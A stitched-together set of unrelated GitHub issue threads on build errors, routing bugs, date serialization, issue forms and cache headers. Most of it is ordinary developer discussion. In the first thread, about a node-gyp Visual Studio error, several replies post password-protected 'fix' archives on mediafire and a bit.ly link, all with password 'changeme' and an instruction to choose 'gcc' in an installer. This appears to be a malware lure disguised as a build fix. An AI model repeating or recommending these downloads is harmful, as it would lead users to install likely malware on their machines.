Could not find any Visual Studio installation to use

env
windows10
python 3.12.5
msvs 2022
node 16.20.2
node-gyp 10.2.0
npm 8.19.4
I have been trying for two days and have tried many methods but nothing works.
I can't find any clues, I have to ask for help
Verbose output (from npm or node-gyp):
PS C:>choco install python visualstudio2022-workload-vctools -y
Chocolatey v2.3.0
Installing the following packages:
python;visualstudio2022-workload-vctools
By installing, you accept licenses for the packages.
python v3.12.5 already installed.
 Use --force to reinstall, specify a version to install, or try upgrade.
visualstudio2022-workload-vctools v1.0.0 already installed.
 Use --force to reinstall, specify a version to install, or try upgrade.

Chocolatey installed 0/2 packages.
 See the log for details (C:\ProgramData\chocolatey\logs\chocolatey.log).

Warnings:
 - python - python v3.12.5 already installed.
 Use --force to reinstall, specify a version to install, or try upgrade.
 - visualstudio2022-workload-vctools - visualstudio2022-workload-vctools v1.0.0 already installed.
 Use --force to reinstall, specify a version to install, or try upgrade.

Enjoy using Chocolatey? Explore more amazing features to take your
experience to the next level at https://chocolatey.org/compare

PS C:>  node-gyp list
gyp info it worked if it ends with ok
gyp info using<EMAIL_ADDRESS>gyp info using<EMAIL_ADDRESS>| win32 | x64
18.16.1
18.17.0
gyp info ok

> yarn install
yarn install v1.22.19
warning ..\..\package.json: No license field
[1/4] Resolving packages...
success Already up-to-date.
$ ts-node .erb/scripts/check-native-dep.js && electron-builder install-app-deps && cross-env NODE_ENV=development TS_NODE_TRANSPILE_ONLY=true webpack --config ./.erb/configs/webpack.config.renderer.dev.dll.ts && opencollective-p
ostinstall
  • electron-builder  version=22.13.1
  • loaded configuration  file=package.json ("build" field)
  • installing production dependencies  platform=win32 arch=x64 appDir=C:\Users\demo\Desktop\D2RMM\d2rmm\release\app
  ⨯ C:\Program Files\nodejs\node.exe exited with code ERR_ELECTRON_BUILDER_CANNOT_EXECUTE
Output:
yarn install v1.22.19
[1/4] Resolving packages...
success Already up-to-date.
$ npm run electron-rebuild && npm run link-modules

><EMAIL_ADDRESS>electron-rebuild
> node -r ts-node/register ../../.erb/scripts/electron-rebuild.js

info Visit https://yarnpkg.com/en/docs/cli/install for documentation about this command.

Error output:
warning ..\..\..\..\package.json: No license field
- Searching dependency tree
× Rebuild Failed

An unhandled error occurred inside electron-rebuild
node-gyp failed to rebuild 'C:\Users\demo\Desktop\D2RMM\d2rmm\release\app\node_modules\ffi-napi'.
For more information, rerun with the DEBUG environment variable set to "electron-rebuild".

Error: Could not find any Visual Studio installation to use

Error: node-gyp failed to rebuild 'C:\Users\demo\Desktop\D2RMM\d2rmm\release\app\node_modules\ffi-napi'.
For more information, rerun with the DEBUG environment variable set to "electron-rebuild".

Error: Could not find any Visual Studio installation to use

    at NodeGyp.rebuildModule (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\module-type\node-gyp.js:117:19)
    at processTicksAndRejections (node:internal/process/task_queues:96:5)
    at async ModuleRebuilder.rebuildNodeGypModule (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\module-rebuilder.js:94:9)
    at async ModuleRebuilder.rebuild (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\module-rebuilder.js:124:14)
    at async Rebuilder.rebuildModuleAt (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\rebuild.js:145:13)
    at async Promise.all (index 4)
    at async Rebuilder.rebuild (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\rebuild.js:104:13)
    at async C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\cli.js:154:9
Error: Command failed: ..\..\node_modules\.bin\electron-rebuild --parallel --force --types prod,dev,optional --module-dir .
    at checkExecSyncError (node:child_process:861:11)
    at execSync (node:child_process:932:15)
    at Object.<anonymous> (C:\Users\demo\Desktop\D2RMM\d2rmm\.erb\scripts\electron-rebuild.js:17:11)
    at Module._compile (node:internal/modules/cjs/loader:1198:14)
    at Module.m._compile (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\ts-node\src\index.ts:1371:23)
    at Module._extensions..js (node:internal/modules/cjs/loader:1252:10)
    at Object.require.extensions.<computed> [as .js] (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\ts-node\src\index.ts:1374:12)
    at Module.load (node:internal/modules/cjs/loader:1076:32)
    at Function.Module._load (node:internal/modules/cjs/loader:911:12) {
  status:<PHONE_NUMBER>,
  signal: null,
  output: [ null, null, null ],
  pid: 12824,
  stdout: null,
  stderr: null
}
error Command failed with exit code 1.
  failedTask=installAppDeps stackTrace=Error: C:\Program Files\nodejs\node.exe exited with code ERR_ELECTRON_BUILDER_CANNOT_EXECUTE
Output:
yarn install v1.22.19
[1/4] Resolving packages...
success Already up-to-date.
$ npm run electron-rebuild && npm run link-modules

><EMAIL_ADDRESS>electron-rebuild
> node -r ts-node/register ../../.erb/scripts/electron-rebuild.js

info Visit https://yarnpkg.com/en/docs/cli/install for documentation about this command.

Error output:
warning ..\..\..\..\package.json: No license field
- Searching dependency tree
× Rebuild Failed

An unhandled error occurred inside electron-rebuild
node-gyp failed to rebuild 'C:\Users\demo\Desktop\D2RMM\d2rmm\release\app\node_modules\ffi-napi'.
For more information, rerun with the DEBUG environment variable set to "electron-rebuild".
Error: Could not find any Visual Studio installation to use
Error: node-gyp failed to rebuild 'C:\Users\demo\Desktop\D2RMM\d2rmm\release\app\node_modules\ffi-napi'.
For more information, rerun with the DEBUG environment variable set to "electron-rebuild".
Error: Could not find any Visual Studio installation to use
    at NodeGyp.rebuildModule (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\module-type\node-gyp.js:117:19)
    at processTicksAndRejections (node:internal/process/task_queues:96:5)
    at async ModuleRebuilder.rebuildNodeGypModule (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\module-rebuilder.js:94:9)
    at async ModuleRebuilder.rebuild (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\module-rebuilder.js:124:14)
    at async Rebuilder.rebuildModuleAt (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\rebuild.js:145:13)
    at async Promise.all (index 4)
    at async Rebuilder.rebuild (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\rebuild.js:104:13)
    at async C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\electron-rebuild\lib\src\cli.js:154:9
Error: Command failed: ..\..\node_modules\.bin\electron-rebuild --parallel --force --types prod,dev,optional --module-dir .
    at checkExecSyncError (node:child_process:861:11)
    at execSync (node:child_process:932:15)
    at Object.<anonymous> (C:\Users\demo\Desktop\D2RMM\d2rmm\.erb\scripts\electron-rebuild.js:17:11)
    at Module._compile (node:internal/modules/cjs/loader:1198:14)
    at Module.m._compile (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\ts-node\src\index.ts:1371:23)
    at Module._extensions..js (node:internal/modules/cjs/loader:1252:10)
    at Object.require.extensions.<computed> [as .js] (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\ts-node\src\index.ts:1374:12)
    at Module.load (node:internal/modules/cjs/loader:1076:32)
    at Function.Module._load (node:internal/modules/cjs/loader:911:12) {
  status:<PHONE_NUMBER>,
  signal: null,
  output: [ null, null, null ],
  pid: 12824,
  stdout: null,
  stderr: null
}
error Command failed with exit code 1.
    at ChildProcess.<anonymous> (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\builder-util\src\util.ts:250:14)
    at Object.onceWrapper (node:events:628:26)
    at ChildProcess.emit (node:events:513:28)
    at ChildProcess.cp.emit (C:\Users\demo\Desktop\D2RMM\d2rmm\node_modules\cross-spawn\lib\enoent.js:34:29)
    at maybeClose (node:internal/child_process:1100:16)
    at Process.ChildProcess._handle.onexit (node:internal/child_process:304:5)
error Command failed with exit code 1.
info Visit https://yarnpkg.com/en/docs/cli/install for documentation about this command.

Duplicate of

node-ffi-napi/node-ffi-napi#269

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Problem with package

Hi!
I added your package in my project, but I have some problems.
versions:
<EMAIL_ADDRESS><EMAIL_ADDRESS>- I added it manually, because "meteor add martino:iron-router-i18n" doesn't add  itself this package.
<EMAIL_ADDRESS><EMAIL_ADDRESS>config: lib/router/config.js
I18NConf.configure({
defaultLanguage: 'ru',
languages: ['en', 'uk', 'ru'],
autoConfLanguage: false
});
Router.configure({
notFoundTemplate: 'notFound',
i18n: {
	langCodeForDefaultLanguage: true,
	exclude: {
		admin_paths: '^\/admin'
	}
}

});
my example rout: lib/router/user/contact.js
Router.route('/contact', {
name: 'contact',
template: 'contact',
layoutTemplate: 'application',
action: function() {
this.render();
}
});
So, in rout /contact I have page 404 at address http://localhost:3000/ru/contact - why ?
In browser console this:
Exception from Tracker afterFlush function:
debug.js:41 TypeError: Cannot read property 'path' of undefined
at Function.Router.getLangCode (router.js:402)
at setLngClass (header.js?849b45df8e432333026facae3b558c5b95534e65:26)
at null. (header.js?849b45df8e432333026facae3b558c5b95534e65:12)
at template.js:116
at Function.Template._withTemplateInstanceFunc (template.js:437)
at fireCallbacks (template.js:112)
at null. (template.js:205)
at view.js:104
at Object.Blaze._withCurrentView (view.js:523)
at view.js:103
Then helper {{pathFor 'contact' }} - doesn't work for languages 'ru' and 'uk'. In console (browser), I have this:
Exception in template helper: TypeError: Cannot read property 'handler' of undefined
at Function.Iron.Route.path (http://localhost:3000/packages/martino_iron-router-i18n.js?74afba74b3d758a03bb957b9d8c4f2cc9190d645:627:17)
at Object. (http://localhost:3000/packages/martino_iron-router-i18n.js?74afba74b3d758a03bb957b9d8c4f2cc9190d645:724:22)
at bindDataContext (http://localhost:3000/packages/blaze.js?a5c324925e5f6e800a4c618d71caf2848b53bf51:2880:16)
at Blaze._wrapCatchingExceptions (http://localhost:3000/packages/blaze.js?a5c324925e5f6e800a4c618d71caf2848b53bf51:1651:16)
at http://localhost:3000/packages/blaze.js?a5c324925e5f6e800a4c618d71caf2848b53bf51:2928:66
at Function.Template._withTemplateInstanceFunc (http://localhost:3000/packages/blaze.js?a5c324925e5f6e800a4c618d71caf2848b53bf51:3476:12)
at wrapHelper (http://localhost:3000/packages/blaze.js?a5c324925e5f6e800a4c618d71caf2848b53bf51:2927:27)
at Spacebars.call (http://localhost:3000/packages/spacebars.js?7bafbe05ec09b6bbb6a3b276537e4995ab298a2f:172:18)
at Spacebars.mustacheImpl (http://localhost:3000/packages/spacebars.js?7bafbe05ec09b6bbb6a3b276537e4995ab298a2f:109:25)
at Object.Spacebars.mustache (http://localhost:3000/packages/spacebars.js?7bafbe05ec09b6bbb6a3b276537e4995ab298a2f:113:39)
But, helper {{pathFor 'contact'}}, perfectly works for language 'en', and I have valid page with route (browser)  - http://localhost:3000/en/contact
P.S. My OS Windows 8.1

Sorry for the late reply, this could be something related to https://github.com/yoolab/iron-router-i18n/issues/64 I'll commit a patch soon, please keep an eye on that issue and tell me if it also solve your problem.

I cloned repository and set in console 'meteor add martino:iron-router-i18n', then I had version<EMAIL_ADDRESS>But now I have the same problem with helper {{pathFor}}. Mb is it my fault?
My example is config:
I18NConf.configure({
languages: ["ru", "uk", "en"],
defaultLanguage: 'ru',
autoConfLanguage: true
});
Router.configure({
notFoundTemplate: 'notFound',
i18n: {
langCodeForDefaultLanguage: false,
	exclude: {
		admin_paths: '^\/admin'
	}
}

});
My example is rout contact:
Router.route('/contact', {
name: 'contact',
template: 'contact',
layoutTemplate: 'application',
action: function() {
this.render();
}
}
This is a fucntion which changes language:
'click .lang-change': function(e) {
var lng = e.target.id; // uk - string
I18NConf.setLanguage(lng);
}
this is an example, where I use helper {{pathFor}}:
  ***********

I've tested your configuration with simple app you find in examples/basic, with the code you find below and pathFor seems to work perfectly. I need to replicate the problem could you please prepare me a toy app that shows the problem?
init.js:
I18NConf.configure({
    languages: ["ru", "uk", "en"],
    defaultLanguage: 'ru',
    autoConfLanguage: true
});

Router.configure({
    notFoundTemplate: 'notFound',
    layoutTemplate: 'layout',
    i18n: {
        langCodeForDefaultLanguage: false,

        exclude: {
            admin_paths: '^\/admin'
        }
    }
});

Router.route('/contact', {
    name: 'contact',
    template: 'contact',
    action: function () {
        this.render();
    }
});

Router.route('/one');
Router.route('/two');
Router.route('/three');

basic.html
<template name="layout">

        <title>Iron Router i18n - Basic Sample</title>

RU

UK

EN

Current language: {{ currentLanguage }}

    {{> yield}}

</template>

<template name="Home">
    {{> Nav}}

Home

        Data Title: {{title}}

</template>

<template name="One">
    {{> Nav}}

Page One

</template>

<template name="Two">
    {{> Nav}}

Page Two

</template>

<template name="contact">
    {{> Nav}}

Page Contact

</template>

<template name="Nav">

            Contact

            Page One

            Page Two

</template>

basic.js:
Template.layout.events({
    'click .langMenu > li > a': function (event, template) {
        I18NConf.setLanguage(event.target.id);
        event.preventDefault();
    }
});

Template.layout.helpers({
    currentLanguage: function () {
        I18NConf.languageDep.depend();
        return I18NConf.getLanguage();
    }
});

I think, I have solved this problem.
There is my structure:

Threre is config.js:
I18NConf.configure({
...
})
Router.configure({
...
})
My routes are in different files and folders. So, I added my routes, like your examples, and got valid helper {{pathFor}}. My structure works perfectly with original iron:router. It is strange problem, I think.

You're right, that's an interesting case. It's probably due to the Meteor file load order logic and the way you structured your code: when you create an i18n route the route is created depending on the current router i18n configuration but if the configuration is loaded and executed AFTER the route has been created there come the problem.
In order to keep some kind of structure but still load first all i18n Router configuration you should follow the Meteor rules for scripts load order and maybe place the router configuration in some "lib" directory and routes outside "lib" directories.
Anyway I understand this is a weird limitation due to the same design of iron-router-i18n so I'm also thinking about a potential fix for this which could be delaying adding routes (i18n and not) to the startup phase. Strange nobody came up with this before :-)

I've created a mechanism to defer route creation on Meteor.startup in order to avoid possible problems due to file load order like the one you reported. As I'm still unsure on whether how to release it I'd be grateful if you could test it on your configuration and see if it solve the problem. I've also added an automated test for this but it's a relatively big change in logic and I want to test it a bit more before release.
In order to test it please download and use https://github.com/yoolab/iron-router-i18n/tree/issue-63 branch.

I cloned your branch 'iron-router-i18n-issue-63' and I tested it in my project. It works perfectly. Thanks a lot.

Version 1.1.0 now defer route creation to Meteor.startup phase. As this is a relatively big change in inner logic there is also a new option to disable the new default behaviour. Anyway the new inner working should be safe (I'd say safer) 99,9% of the times.

Please flag this a "breaking change" update! Spent 2 hours trying to figure out why this update broke my code...
lib/config.coffee
Router.configure
  i18n: {
    deferRouteCreation: false
  }

Sorry about that. Before pushing the change I thought a bit about how could this be a breaking change but I really couldn't figure out a case where deferring route creation to meteor startup could be a problem. Could you please explain me exactly how this is affecting your configuration?
A different approach could be to regenerate all routes on every Route.configure having to do with i18n or maybe just leaving "deferRouteCreation" default to false. But I need to understand better which cases this is affecting.

I'm not quite sure what exactly causes this, so I'll try to capture everything related.
When I omit the deferRouteCreation: false (it being true by default), Iron Router doesn't recognize my routes, and:

iron-router-i18n throwing TypeError: Cannot read property '_i18n' of undefined when I use pathFor
Iron Router logging a warning saying pathFor couldn't find a route named "products"
Iron Router showing my notFoundTemplate.

The error is referring to line 3 of packages/martino:iron-router-i18n/lib/router_controller_client.js:
RouteController.prototype.lookupTemplate = function () {                                                      // 1
    return this.lookupOption('template') ||                                                                   // 2
        (this.router && this.router.toTemplateName(this.route._i18n.defaultRoute.getName()));                 // 3
};                                                                                // 4

Iron Router does load it's configuration though. The layoutTemplate, loadingTemplate, notFoundTemplate, etc are correctly used.
When removing martino:iron-router-i18n and going to the normal, non-localized routes (e.g. /products) the routes are functioning properly.
I also tried wrapping my routes in Meteor.startup, but without success.
I declare routes in lib/routes.coffee as follows:
Router.route "/products",
  name: "products"
  waitOn: ->
    Meteor.subscribe("products")

(Plain JS)
Router.route("/products", {
  name: "products",
  waitOn: function() {
    Meteor.subscribe("products")
  }
});

I hope to have provided enough details. If not, do ask for more.

Thanks a lot for the information quite useful but I really can't reproduce the problem, the ideal thing would be a toy application reproducing the problem.
In any case I've tried a different approach where routes are recreated on each Router.configure call with an i18n section. In addition to solve the original problem (issues caused by meteor file load order logic) this could be also useful for edge cases like dinamically configure i18n.
I'd be very grateful if you could test the following branch with your application and tell me if it works (no need for any configuration change). The issue you reported shows it's something difficult to test (in my idea wasn't a breaking change just a relatively big inner implementation change)
https://github.com/yoolab/iron-router-i18n/tree/issue-63

Version 1.2.0 should solve ay problem related to this as it will change the internal implementation (see #69)

Version 1.2.0 has been published, I've added several tests regarding "on the fly reconfiguration" which is the feature related to this original problem (problems caused by load file order) and improves very much the original internal implementation that could have caused other weird problems reported in this bug.
Feedback will be appreciated :-)


Upgrade docker-client dep from 8.14.2 to 8.14.3

to pick up this fix https://github.com/spotify/docker-client/pull/1100.

could you update the CHANGELOG too?


Accessor date casting formatting as UTC when being serialized to JSON.

Laravel Version
11.x
PHP Version
8.3.1
Database Driver & Version
MySql 8
Description
Laravel Version
10.45
PHP Version
8.3.1
Database Driver & Version
MySql 8
Description
class Appointment extends Model
{
    protected $casts = [
        'starts_at' => 'datetime',
    ];

    protected $appends = [
        'starts_at_local',
    ];

    public function startsAtLocal(): Attribute
    {
        return new Attribute(function ($value) {
            return $this->starts_at->setTimezone($this->location->timezone);
        });
    }
}

JSON serialized output (both in UTC):
starts_at: "2024-08-14T02:45:00.000000Z"
starts_at_local: "2024-08-14T02:45:00.000000Z"

I can solve this in the JSON output with:
return new Attribute(function ($value) {
    return $this->starts_at->setTimezone($this->location->timezone)->toIso8601String();
});

starts_at: "2024-08-14T02:45:00.000000Z"
starts_at_local: "2024-08-14T02:45:00+10:00"

However, I then run into the issue where I can't really work with the local time in code (for email templates for example) anymore:

{{ $appointment->starts_at_local->format('F'); }}

I could in the code just revert back to the other formatting then, but this stops me from having a single point of truth:

{{ $appointment->starts_at_local->setTimezone($appointment->location->timezone)->format('F') }}

I guess what would be nice would be to be able to override OR skip the part where Laravel serializes this date as UTC. I understand why this is a sensible default, but by not being able to override it, it creates issues.
Steps To Reproduce
Create an accessor, format it in a timezone and then view the JSON output.

Hi there,
Thanks for reporting the problem you are encountering, but it looks like this is a question which may be better suited for a support channel. We only use this issue tracker for reporting bugs with the library itself. If you have a question on how to use functionality provided by this repository you can try one of the following channels:

Laracasts Forums
Laravel.io Forums
StackOverflow
Discord
Larachat
IRC

However, this issue will not be locked and everyone is still free to discuss solutions to your problem!
Thanks.


VMVX compilation fails since iree candidate-20221214.358

What happened?
Since iree release candidate-20221214.358, iree-compile fails to compile the imported TOSA MLIR into vmfb for the VMVX backend. It worked okay for candidate-20221213.357.
A failed tflite example is the person detection model: https://storage.googleapis.com/iree-model-artifacts/person_detect.tflite
Steps to reproduce your issue

Build IREE
Import TFLite model (use person.detect.tflite as an example)
path/to/iree-import-tflite path/to/person_detect.tflite -o=/tmp/person_detect.mlir
Use iree-compile to compile TOSA MLIR
path/to/iree-compile -iree-input-type=tosa -iree-hal-target-backends=vmvx /tmp/person_detect.mlir -o /tmp/person_detect.vmfb
See error
error: failed to legalize operation 'arith.fptosi' that was explicitly marked illegal ...

What component(s) does this issue relate to?
Compiler
Version information
iree candidate-20221214.358
Additional context
No response

@jpienaar @hcindyl

PR to fix under review in https://github.com/iree-org/iree/pull/11553 - there are still issues here so I wouldn't use VMVX for anything below 32-bit yet.

Should be fixed and working in next nightly. Keeping it open until next nightly.

Confirmed it has been fixed. Thanks!


Main Function of this project

Hi, which file is the main function of go-loom? Not all open source?
Thanks.

Who can reply me?

You can ask questions like these in our Telegram group https://t.me/LoomSDK

Sorry, I can't access the Telegram as I am in China. could you please tell me which file the main function of go-loom here?


input folder for graphql schema

When using a default graphql schema under
<my_project_folder> \amplify\backend\api\ <my_app_name> \ schema.graphql the graphql compilation is working fine
GraphQL schema compiled successfully.

Edit your schema at <my_project_folder>\amplify\backend\api\<my_app_name>\schema.graphql or place .graphql files in a directory at <my_project_folder>\amplify\backend\api\<my_app_name>\schema

I tried to move the schema in the \schema  folder as described in the output above in order to have more maintenable schemas, splitted in differents files. The schema will not be interpreted
By updating the API, the graphql will not be found.

Syntax Error: Unexpected <EOF>
GraphQLError: Syntax Error: Unexpected <EOF>

Any idea ?
Thank you

Hi,
Can you share your file structure tree so we can see, thanks.

I doubled check, start
amplify update api

.. it works now 👍  No idea what was wrong ,,,


chore(master): release 1.5.24

:robot: I have created a release beep boop
1.5.24 (2023-11-29)
Miscellaneous

deps: update quay.io/keycloak/keycloak docker tag to v23.0.1 (d510352)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/wayofdev/docker-project-services/releases/tag/v1.5.24 :sunflower:


Unable to generate report using pandoc 2.x

When trying to generate the DV Hydrograph report, I  got the following error: "--smart/-S has been removed". I had installed the latest version of pandoc (2.0.4). When I reinstalled using version 1.15 of pandoc the report generated as expected.

https://github.com/USGS-R/repgen/pull/846


[SPARK-43785][SQL][DOC] Improve the document of GenTPCDSData, so that developers could easy to generate TPCDS table data.

What changes were proposed in this pull request?
https://github.com/apache/spark/pull/41212 added the new environment variable HEAP_SIZE. It let developers could fix some OOM issues.
This PR want improve the document of GenTPCDSData, so that developers could easy to generate TPCDS table data.
Why are the changes needed?
Make GenTPCDSData could easy to use.
Does this PR introduce any user-facing change?
'No'.
This change is relationed to developers.
How was this patch tested?
N/A

ping @viirya cc @cloud-fan

Any other related changes?

I only found OOM when using build/sbt to test GenTPCDSData now.

Merged to master

@srowen @viirya Thank you!


chore: replace issue templates with forms

Summary
I propose to replace the issue templates with the new fancy issue forms GitHub now supports. :sparkles:
Why? More relevant information/guidance can be displayed, and fields can require input.
You can demo them here (feel free to play around and create issues):
https://github.com/sigveio/jest-issue-templates/issues/new/choose
I opted to remove the "Regression Report" altogether, since I feel it would provide limited additional value to the new bug report form. Many users experience various issues when upgrading major versions, and whether they currently use a bug report or a regression report seems rather arbitrary. Suggesting they get confused on what to use.
The "Questions / Help" one is just an info page similar to how it is today, but without input fields... and with an added guard against submitting. Hopefully this leads to less users simply ignoring it and posting their question anyway.
Motivation
Lately I've been trying my best to give a hand with the issue tracker. But there are a lot of unnecessary bug reports, and it can be tricky to answer in a way that does not upset the person making them. If you give too much help, you potentially encourage more people to attempt using the issue tracker as a help forum. And if you reply with "Saved Replies" merely referring to other resources it can also feel dismissive and cold.
Hopefully providing slightly improved structure and information at an earlier stage could help "nip it in the bud" and mitigate that. And also give us something better to refer users to when needed.
What else can we do?
Expanding the Jest documentation with a page on reporting bugs could be useful. With an overview of some essential things to consider before doing so, and Jest-relevant information on creating good and relevant reproductions. I feel the StackOverflow guide that we tend to link to on this, is a little bit too specific to posting to that platform. For example asking them to "Use individual code blocks for each file or snippet" - while we'd rather have a ready to run GitHub repository.
I'd be happy to draft something, if you agree.

Oh, and instead of automatically adding a "Needs Repro" tag on creation I made that a requirement in the form. I feel that would produce less visual noise in the issue tracker, and increase the the likelihood of the submitter actually providing a reproduction. This should also make moderation easier; issues where reproductions are omitted could simply be closed with a standard reply.

Codecov Report

Merging #11772 (b059a87) into master (84b3b03) will decrease coverage by 0.00%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master   #11772      +/-   ##
==========================================
- Coverage   69.01%   69.00%   -0.01%
==========================================
  Files         312      312
  Lines       16339    16339
  Branches     4736     4736
==========================================
- Hits        11276    11275       -1
- Misses       5035     5036       +1
  Partials       28       28

Impacted Files
Coverage Δ

packages/expect/src/utils.ts
95.58% <0.00%> (-0.56%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 84b3b03...b059a87. Read the comment docs.

Yes please, this is something I've wanted to do for some time! 🎉 Is there some editor I could preview how this'd render, or so I need to stick it in some HEAD and try it out?

I didn't know that was a thing. This is amazing, thanks for working on this.

Yes please, this is something I've wanted to do for some time! 🎉 Is there some editor I could preview how this'd render, or do I need to stick it in some HEAD and try it out?
EDIT:

You can demo them here (feel free to play around and create issues):

My reading comprehension needs some work apparently 🙈

Hehe! Yeah, feel free to create some issues there and play around with it. The files there should match this PR.
Unfortunately the preview capabilities around this feature is still very limited; it has to be in the main branch of a public repo. Also makes it a little cumbersome to work on; as you have to commit to preview changes. :see_no_evil:

Lately I've been trying my best to give a hand with the issue tracker.

I'm extremely grateful for this ❤

I'd be happy to draft something, if you agree.

Very much so! I still think linking to SO is good (to not seem like we're the "only" ones asking for this), but clearly stating we want a reproduction to pull down rather than snippets would be awesome. Happy to have a page on the website describing this 👍

Lately I've been trying my best to give a hand with the issue tracker.

I'm extremely grateful for this ❤

That makes me very happy to hear! And right back at ya'll, for everything! :hugs:
My hope is that if I'm able to take some load off with peripheral tasks such as triage and light code-review chores (e.g. changelog reminders :see_no_evil:), you get to focus more of your time and energy where it has the largest impact. :boom:
And it doubles as a good excuse for diving into and slowly but surely building up my understanding of the codebase/internals :upside_down_face:

Very much so! I still think linking to SO is good (to not seem like we're the "only" ones asking for this), but clearly stating we want a reproduction to pull down rather than snippets would be awesome. Happy to have a page on the website describing this 👍

Roger that 👍  - I'll get a draft going for this as a separate PR then.

Awesome!
I'd personally change the order to

reproduction
expected behavior
actual behavior (used to be called describe the bug)
because I think it reads nicely, and people are likely to be clearer about expected vs actual. Otherwise I believe they'll put a lot of info into 'describe the bug' that really belongs into additional context

Thanks for your feedback! I added another layout based on this next to the original one for comparison, where I also lifted the "Additional context" field to group them together.
Original: https://github.com/sigveio/jest-issue-templates/issues/new?template=bug.yml
Alternative: https://github.com/sigveio/jest-issue-templates/issues/new?template=alt-bug.yml
Could "Actual behavior" be unclear for some? (e.g. non-native English speakers)

Yeah what you did there seems good to me, I prefer the alt now, idk about @SimenB

Could "Actual behavior" be unclear for some? (e.g. non-native English speakers)

I know that Germans for instance like to think actual means "aktuell" (current), but that seems like a non-problem since it still makes sense in this context

I now also moved the "Version" field up to the very top in the "alt" version; as I'm thinking this might prompt more users to check whether the bug has already been fixed before going further.

Original: https://github.com/sigveio/jest-issue-templates/issues/new?template=bug.yml
Alternative: https://github.com/sigveio/jest-issue-templates/issues/new?template=alt-bug.yml

I prefer the alt as well 👍

Let's do it 👍 Can always iterate further.
Thanks a bunch @sigveio!

And bam 💥  - first issue posted with the new format already! Looks good! 😁
@SimenB I notice the label isn't auto-assigned to the form for Feature Proposal and Questions / Help, because they have the icons and in the form YAML I used the chars rather than the shortcode.
There's two possible fixes:

I do a quick PR with the shortcodes instead
You update the respective label to use 🚀 and 💬  (instead of :rocket: and :speech_balloon:)

The benefit of number 2 is that it looks prettier in URLs and search:

(If I were to be picky... I'd consider moving the icons to the end of the labels also. Because they have weird spacing when text is following.)


feat(ui): improve accessibility

improve accessibility

No vulnerabilities detected
No vulnerabilities with HIGH,CRITICAL severity have been detected in the code.

No vulnerabilities detected
No vulnerabilities with HIGH,CRITICAL severity have been detected in the code.

No vulnerabilities detected
No vulnerabilities with HIGH,CRITICAL severity have been detected in the code.

No vulnerabilities detected
No vulnerabilities with HIGH,CRITICAL severity have been detected in the code.

No vulnerabilities detected
No vulnerabilities with HIGH,CRITICAL severity have been detected in the code.


SetDoNotCacheHeaders in DefaultAntiforgery overrides a more defined cache policy

We require revalidation for requests on our site (Cache-Control: no-cache, no-store, must-revalidate), but we found that no matter how we set the cache policy it was overridden with a simple "no-cache".
I have attempted a fix, but I'm unable to run the unit tests.

@andyedinborough,
Thanks for your contribution.
To ensure that the project team has proper rights to use your work, please complete the Contribution License Agreement at https://cla2.dotnetfoundation.org.
It will cover your contributions to all .NET Foundation-managed open source projects.
Thanks,
.NET Foundation Pull Request Bot

@andyedinborough, thanks for signing the contribution license agreement. We will now validate the agreement and then the pull request.
Thanks, .NET Foundation Pull Request Bot

I'm not sure how the test that's failing wasn't failing before.  The code that logs the warning message will log if either the Cache-Control or Pragma headers were missing, while the test asserts that the message is not logged if just one of those is present.

This issue was moved to aspnet/Home#2419

@mkArtakMSFT  - any further action planned on this PR?

Because there's been no action on this, I worked around the issue by replacing the default implementation:
using Microsoft.AspNetCore.Antiforgery.Internal;
using Microsoft.AspNetCore.Http;
using Microsoft.Net.Http.Headers;

public class Antiforgery : DefaultAntiforgery
{
	public Antiforgery(
		Microsoft.Extensions.Options.IOptions<Microsoft.AspNetCore.Antiforgery.AntiforgeryOptions> antiforgeryOptionsAccessor,
		IAntiforgeryTokenGenerator tokenGenerator,
		IAntiforgeryTokenSerializer tokenSerializer,
		IAntiforgeryTokenStore tokenStore,
		Microsoft.Extensions.Logging.ILoggerFactory loggerFactory)
		: base(antiforgeryOptionsAccessor, tokenGenerator, tokenSerializer, tokenStore, loggerFactory)
	{
	}

	protected override void SetDoNotCacheHeaders(HttpContext httpContext)
	{
		CacheControlHeaderValue.TryParse(httpContext.Response.Headers[HeaderNames.CacheControl][0], out CacheControlHeaderValue cacheControlHeader);
		if (cacheControlHeader == null)
		{
			cacheControlHeader = new CacheControlHeaderValue();
		}

		cacheControlHeader.NoCache = true;
		cacheControlHeader.NoStore = true;
		cacheControlHeader.MustRevalidate = true;
		httpContext.Response.Headers[HeaderNames.CacheControl] = cacheControlHeader.ToString();
		httpContext.Response.Headers[HeaderNames.Pragma] = "no-cache";
	}
}

Then in ConfigureServices(...):
    services.AddSingleton<Microsoft.AspNetCore.Antiforgery.IAntiforgery, Antiforgery>();

